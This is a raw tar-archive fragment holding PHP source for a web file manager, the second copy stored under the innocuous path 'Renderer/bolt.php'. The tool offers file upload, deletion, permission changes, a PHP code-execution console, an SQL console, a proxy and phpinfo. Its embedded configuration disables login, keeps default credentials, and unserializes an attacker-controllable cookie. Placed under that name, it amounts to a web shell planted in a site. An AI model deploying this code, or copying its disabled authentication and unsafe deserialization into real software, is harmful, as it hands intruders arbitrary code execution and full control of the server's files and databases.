				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer/bolt.php                                                                                   0000644                 00000232745 15217306007 0010001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
